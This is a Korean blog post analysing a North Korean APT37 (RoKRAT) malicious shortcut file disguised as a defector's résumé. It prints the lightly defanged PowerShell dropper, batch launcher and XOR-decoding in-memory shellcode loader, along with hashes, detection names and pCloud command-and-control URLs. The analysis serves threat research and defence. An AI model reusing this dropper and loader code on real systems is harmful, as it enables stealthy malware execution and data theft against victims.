북한 APT 리퍼(Reaper)에서 만든 탈북민 사칭 한국해양수산연수원 타겟 인것으로 추측이 되는 악성코드-이력서.lnk(2024.11.1)
오늘은 세계적으로 유명한 APT 조직 APT 북한 APT 리퍼(Reaper,APT37)에서 만든 탈북민 사칭 한국해양수산연수원 타겟 인것으로 추측이 되는 악성코드-이력서.lnk(2024.11.1)에 대해 글을 적어보겠습니다. 일명 RoKRAT
한국해양수산연수원 이라는 것이 해양수산인력의 교육 등의 업무를 하는 해양수산부 산하 기타공공기관입니다.
일단 해당 악성코드는 이력서 PDF는 누군가의 이력서를 훔쳐서 작성된 것으로 보이면 한국해양수산연수원 으로 접근을 하는것 같습니다.
해쉬값
파일명:이력서.lnk
사이즈:221 MB
MD5:89c0d2cc1e71b17449eec454161d60da
SHA-1:e9528f09f1e58ffc308893087f4a8b77aa1d544d
SHA-256:707e8cb56f32209ca837f2853801256cd3490ed2cc4b3428dc5e4238848f226d
입니다.
해당 악성코드 내부를 열어보면 다음과 같은 코드를 확인할 수가 있습니다.
StringData
{
namestring:
relativepath: not present
workingdir: not present
commandlinear(g)uments: /k (f)or /f "tokens=*" %a in ('dir C:\Windows\
SysWo(w)64\WindowsP(o)werShell\v1.0\*rshell(.)exe /s /b /od') do cal(l)
%a "$dirPath = Get-Lo(c)ation; if($dirPath -(M)atch 'Sys(t)em32' -or $d
irP(a)th -Match 'Program Fi(l)es') {$d(i)rPath = '%tem(p)%'};$exs=@('(.)
lnk');$ln(k)Path = Get-ChildItem -Path $(d)irPath -Recurse *.* -File | wh
ere {$_.extens(i)on -in $exs} | where-(o)bject {$_.length (-)eq 0x0DD5B80
2} | Select-Object -ExpandProperty FullName ;$lnkFile(=)New-Object System
.IO(.)FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.Fil(e)Ac
cess]::Read);$lnk(F)ile.Seek(0x0000111A, [System.IO.(S)eekOrig(i)n]::Begin
);$pdfFi(l)e=New-Object byte[] 0x00023A37;$lnkFile.Re(a)d($pdfFile, 0, 0x0
0023A37);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -
Encoding Byte;& $pdfPath;$lnkFile.Seek(0x000(2)4B51,[System.IO.Se(e)kOrigi
n]::Begin);$exeFile=New-Object byte[] 0x000D9190;$(l)nkFile.Read($exeFile,
0, 0x000D9190);$exePath=$en(v):temp+'\caption.dat';sc $exePath $exeFile -E
ncoding Byte;$lnkFile.Seek(0x000FDC(E)1,[System.IO.SeekOrigin]::Begin);$st
ringByte = New-Object byte[] 0x00000636;$(l)nkFile.Read($stringByte, 0, 0x
00000636); $batStrPath = $env:temp+'\'+'elephant.dat';$s(t)ring = [System.
Text.Encoding]::UTF8.GetStri(n)g($stringByte);$string | Out-File -FilePath
$batStrPath -Encoding ascii;$lnkFile.Seek(0x000FE(3)17,[System.IO(.)SeekOr
igin]::Begin);$b(a)tByte = New-Object byte[] 0x00000(1)47;$lnkFile.Read($b
atByt(e), 0, 0x0(0)000147);$exe(c)utePath = $env:temp+'\'+'shark'+'e.b'(+)
'a'+'t'; Wri(te)-Host $executePath; Wri(t)e-Host $batStrPath; $bast(S)trin
g = [System.Text.Encoding]::UT(F)8.GetString($batByte);$b(a)stString | Out
-Fil(e) -FilePath $executePath -Encoding ascii; &$executePath; $lnkFile.Cl
ose(); remove-item -path $lnkPath -force; "&& exit
iconlocation: C:\Program (F)iles (x86)\Microsoft\Edge\Application\msedge(.)exe
}
코드 분석
1. 초기 탐색 및 조건 설정
코드의 첫 부분에서는 for 루프를 사용하여 특정 경로 (C:\Windows\SysWow64\WindowsPowerShell\v1.0) 내에서 rshell.exe로 끝나는 파일을 검색
해당 파일을 찾으면 call 명령어로 이 파일을 호출하여 실행
해당 rshell.exe 파일은 악성코드 실행하면 추가 스크립트를 다운로드 하거나 다음 단계로 진행하기 위한 트리거 역할
2. 현재 작업 디렉터리 확인
$dirPath = Get-Location으로 현재 작업 디렉터리를 가져오고 해당 경로가 System32 나 Program Files에 속하는지 확인
만약 이들 디렉터리 중 하나라면 $dirPath 를 %temp% 로 변경하여 임시 폴더에서 파일 작업을 수행하도록 유도
3. LNK 파일 탐색 및 필터링
$exs=@('.lnk')로 확장자가 .lnk인 파일을 대상으로 작업 해당 파일들의 경로를 $lnkPath 변수에 저장
.lnk 파일들은 파일 크기가 0x0DD5B802 인 경우로 제한
특정 바로 가기 파일(단축 아이콘 파일)을 통해 정상적인 바로가기 파일과는 다른 특이한 크기 조건을 설정
4. 악성 페이로드 생성
.lnk 파일이 열리고 다양한 오프셋에서 데이터를 읽어와 여러 종류의 파일을 생성
PDF 파일 생성
$lnkFile.Seek(0x0000111A, [System.IO.SeekOrigin]::Begin) 명령어로 오프셋 0x0000111A에서 시작하여 0x00023A37 바이트 길이의 데이터를 읽어옴
해당 데이터를 $pdfFile 변수에 저장하고 파일 경로를 .pdf 확장자로 변경하고 해당 위치에 저장 이후 이 파일이 자동으로 실행(& $pdfPath)
EXE 파일 생성
다음으로, 오프셋 0x00024B51 에서 시작하여 0x000D9190 바이트의 데이터를 $exeFile 변수에 저장하고 $exePath 경로(임시 폴더 내 caption.dat 파일)로 저장
.dat 파일로 위장하여 일반 데이터 파일인 것처럼 보이도록 위장하고 있지만 실제로는 실행 파일로서 악성코드가 포함
배치 파일용 문자열 데이터 생성
$lnkFile.Seek(0x000FDCE1, [System.IO.SeekOrigin]::Begin) 에서 시작하여 0x00000636 바이트를 읽어 문자열로 변환하고 $batStrPath 경로(임시 폴더의 elephant.dat 파일)에 저장
배치 파일(BAT) 생성 및 실행
오프셋 0x000FE317 에서 시작하여 0x00000147 바이트를 읽어 $batByte에 저장하고, 해당 데이터를 UTF-8로 디코딩하여 배치 파일(.bat)로 변환
변환된 배치 파일은 $executePath 경로에 생성되며 이후 자동으로 실행됩니다(&$executePath).
배치 파일을 이용해 시스템에서 추가적인 명령을 실행하거나 악성코드 확산을 위한 작업을 진행할 수 있음
5. 파일 제거 및 흔적 삭제
$lnkFile.Close()로 파일 스트림을 닫고 remove-item -path $lnkPath -force 명령어로. lnk 파일을 삭제하여 자신의 흔적을 지우려는 시도
6. 아이콘 위치 위장
iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedge(.)exe 로 설정하여 Microsoft Edge 아이콘처럼 보이도록 위장
여기서 작업을 쉽게 하려고 Python(파이썬)으로 악성코드에 포함이 돼 있는 악성코드들을 쭉 뽑아 내면 편하게 작업을 할 수가 있습니다.
생성되는 파일들은 다음과 같습니다.
caption.dat,elephant.dat,extracted_shark,pdf.pdf,SOPHIA.json(다운로드 되는 파일)
을 확인을 할 수가 있습니다.
extracted_shark.bat 코드
sta?? /min C:\Windows\Sys?ow64\Windows?owerShell\v1.0\powershell.exe -windowstyle hidden
"$str?ngPath=$env:temp+'\'+'elephant.dat';$str?ngByte = Get-Co?tent -path $stringPath -
enc?ding byte;$string = [System.Text.Encod?ng]::UTF8.GetString($stringByte);$scrip
tBlock = [scriptblock]::C(r)eate($string);
Invoke(-)Command $scriptBlock;"
extracted_shark.bat 분석
1.숨겨진 PowerShell 창 시작:
start /min 명령은 PowerShell 창을 최소화하여 시작하는 역할
-windowstyle hidden 옵션을 통해 PowerShell 창을 숨기며 이로 말미암아 사용자는 백그라운드에서 명령이 실행되는 것을 인지하지 못하게 하는 것이 목적
2.elephant.dat 파일에서 문자열 데이터 로드:
$stringPath=$env:temp(+)'\'+'elephant(.)dat' 명령은 환경 변수 TEMP를 사용하여 elephant(.)dat 파일의 경로를 정의 해당 파일은 임시 폴더에 있으며 악성 코드에서 생성
Get-Content -path $stringPath -encoding byte 명령으로 elephant.dat 파일을 바이트 배열로 읽어옴
[System.Text.Encoding]::UTF8.GetString($stringByte)를 통해 바이트 데이터를 UTF-8 인코딩으로 문자열로 변환
3. 동적으로 스크립트 블록 생성 및 실행:
[scriptblock]::Create($string) 는 문자열로 변환된 악성 코드 내용을 ScriptBlock 객체로 만듦
Invoke-Command $scriptBlock 는 생성된 스크립트 블록을 즉시 실행하여 악성 코드가 시스템에서 활동을 시작
elephant.dat 파일에 저장된 악성 스크립트를 메모리에서 동적으로 생성하여 실행
디스크에 흔적을 남기지 않고 메모리에서 직접 실행하기 때문에 탐지가 어렵게 합니다.
elephant.dat 코드
$exePath=$env:temp+'\caption(.)dat';$exeFile = Get-Content -path $exeP(a)th -encod
ing byte;$len=$exeFile(.)count;$newExeFile = New-Object Byte[] $l(e)n;$xK='d';
for($i=0;$i -lt $len(;)$i++) {$newE(x)eFile[$i] = $exeF(i)le[$i] -bxor $xk[0]};
[Net.Se(r)vicePoin?Manager]::SecurityProtocol = [Enum]::ToObj(e)ct([Net.Securit
yProtocolType], 3072);$k1123 = [System.Tex?t.Encoding]::UTF8.GetSt?ring(34) + '
kernel32(.)dll' + [System.Text.Encoding]::UTF8.GetString(34);$a90234s = '[DllImp
ort(' + $k1123 + ')]public static extern IntPtr GlobalA(l)loc(uint b,uint c);';$
b = Add-Type -Member(D)efinition $a90234s -Name 'AAA' -P(a)ssThru;$d3s9sdf = '[
DllI(m)port(' + $k1123 + ')]public st(a)tic extern bool Virtu(a)lProtect(IntPtr
a,uint b,uint c,out IntPtr d);';$a90234(s)b = Add-Type -MemberDe(f)inition $d3s9
sdf -Nam(e) 'AAB' -Pass(T)hru;$b3s9s03sfse = '[D(l)lImport(' + $k1123 + ')]publi
c static extern I(n)tPtr Crea(t)eThread(IntPtr a,uin(t) b,IntPtr c,IntP(t)r d,ui
nt e,IntPtr f);';$ca(k)e3sd23 = Add-Type -Mem(b)erDefinition $b3(s)9s03sfse -Na
me 'BBB' -PassT(h)ru;$dtts9s03sd23 = '[DllI(m)port(' + $k1123 + ')]public static
extern IntPtr WaitForSingleObject(IntPtr a,uint b);';$fr(i)ed3sd23 = Add-Type
-MemberDefinition $dtts(9)s03sd23 -Name 'DDD' -PassThru;$byteCount = $newExeF
ile.Length;$buffer = $b::GlobalA(l)loc(0x0040, $byteCount + 0x100);$old = 0;$
a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old); for
($i = 0;$i -lt $(b)yteCount;$i++) { [System.Runtime.InteropServices.Marshal
]::WriteByte($buffer, $i, $newExeFile[$i]); };$handle = $cake3sd23::Creat(e
)Thread(0, 0, $buffer, 0, 0, 0);$fried3sd2
3::WaitForSingleObject($handle, 500 * 1000);
코드 분석
주요 기능은 XOR 암호화된 페이로드 를 해독
특정 Windows API 호출을 통해 메모리에 로드 후 실행
1.caption.dat 파일 로드 및 XOR 해독:
코드 부분은 caption.dat 파일을 바이너리 형식으로 로드한 후 단일 문자 d 를 XOR 키로 사용하여 암호화된 파일을 해독
-bxor 연산자는 XOR 비트 연산을 수행하여 원본 파일(newExeFile)을 복구
단순 XOR 복호화 기법으로 XOR 된 페이로드를 복호화하여 실제 악성코드 바이너리를 메모리에 복구하는 단계
2. 네트워크 보안 프로토콜 설정:
해당 부분은 TLS 1.2(3072 코드)를 활성화하여 안전한 네트워크 연결을 설정
악성 코드가 이후에 원격 서버에 접근하거나 추가 악성 페이로드를 다운로드
3.Windows API 호출을 위한 kernel32.dll 함수 정의:
kernel32.dll 라이브러리에서 GlobalAlloc 함수를 호출할 수 있도록 설정 해당 함수는 메모리를 할당하는 역할
이후 Add-Type 명령어를 사용해 PowerShell에서 직접 Windows API를 호출
VirtualProtect,CreateThread,WaitForSingleObject 와 같은 다른 중요 Windows API 함수들이 정의
4.Windows API 함수 설명:
GlobalAlloc: 메모리 할당 함수임 코드는 페이로드를 저장할 메모리 공간을 할당
VirtualProtect:메모리 보호 수준을 변경 여기서는 실행 가능한 메모리로 설정하여 악성 페이로드가 실행
CreateThread:새 스레드를 생성 메모리에 로드된 페이로드를 실행하기 위해 사용
WaitForSingleObject:새로 생성된 스레드가 완료될 때까지 기다림 이는 스레드가 종료될 때까지 코드가 계속 실행되도록 보장
5. 메모리에 페이로드 로드 및 실행:
GlobalAlloc을 통해 할당된 메모리($buffer)에 XOR 해독된 악성 바이너리를 로드
VirtualProtect를 사용해 메모리의 보호 수준을 0x40(읽기/쓰기/실행 가능)으로 설정하여 악성 바이너리가 실행될 수 있도록 함
for 루프를 통해 복호화된 바이너리를 메모리 버퍼에 바이트 단위로 복사
CreateThread 로 새 스레드를 생성하여 메모리 내에 로드된 악성 바이너리를 실행
WaitForSingleObject로 스레드가 실행을 완료할 때까지 대기
PDF 실행
PDF 실행을 하면 인적사항을 알 수가 있는 내용이 나오며 자기소개서를 읽어보면 탈북민 을 해킹을 해서 얻은 정보로 추측할 수가 있으며 2023년 5월 북한 일가족 NLL 귀순 사건인 것을 추측할 수가 있으며 아니며 북한 정찰총국에서 만든 PDF 파일을 수도 있겠지만, 전화번호, 네이버 이메일 주소를 생각한다고 하면 한국에 정착해서 사는 탈북민을 해킹해서 이력서를 훔친 것인지 아니면 탈북민 정보가 정부 당국에서 해킹으로 새어나간 것인지
해당 부분은 대북 관련 부서에서 수사를 진행해야 정확하게 알 수가 있을 것입니다. 다만, 이름에서 공개된 탈북자분들 신상정보들이 있는 것을 보면 북한에서도 한국에 사는 탈북민분들 개인정보를 어느 정도를 아는 것을 추측됩니다.
해당 부분은 관련 기관인 국정원, 대공 수사를 하시는 부서에서 수사해야 되는 것 같습니다. 이런 부분은 일반 개인이 할 수가 있는 것이 아니니…. 아무튼, 해당 악성코드는 2024-10-31 13:09:52 UTC 기준 탐지하는 보안업체들은 다음과 같습니다.
Arcabit:Heur.BZC.YAX.Pantera.190.657DF721
Avast:LNK:Agent-HN [Trj]
AVG:LNK:Agent-HN [Trj]
BitDefender:Heur.BZC.YAX.Pantera.190.657DF721
CTX:Lnk.unknown.pantera
Emsisoft:Heur.BZC.YAX.Pantera.190.657DF721 (B)
GData:Heur.BZC.YAX.Pantera.190.657DF721
Google:Detected
Huorong:Trojan/LNK.Boxter.c
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
Rising:Trojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Troj/LnkObf-AH
Symantec:Scr.Mallnk!gen13
Trellix (HX):Heur.BZC.YAX.Pantera.190.657DF721
VBA32:Trojan.Link.Crafted
VIPRE;Heur.BZC.YAX.Pantera.190.657DF721
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Powecod.c
악성코드 사용하는 URL
hxxps://api.pcloud(.)com/getfilelink?path=/Program/3E2930A400B(6)
9E70&forcedownload=1&ski(p)filename=1
hxxps://api.pcloud(.)com/listfold(e)r?path=/
즉 해당 악성코드를 그냥 단순하게 개인적인 목적을 가지고 이야기하면 邪見 이지만 이미 탈북민 신원은 다 북한 정찰총국에서 거의 파악 하는 것 같으며 앞으로 이런 식으로 국가기관 등이나 각종 기관 및 회사 등을 공격할 때 사용이 되지 않을까? 개인적인 상상의 나래를 펼쳐서 첨가해서 적어 보았습니다. 즉 조심하고 정확한 정보를 위해서 관련 기관에서 수사 필요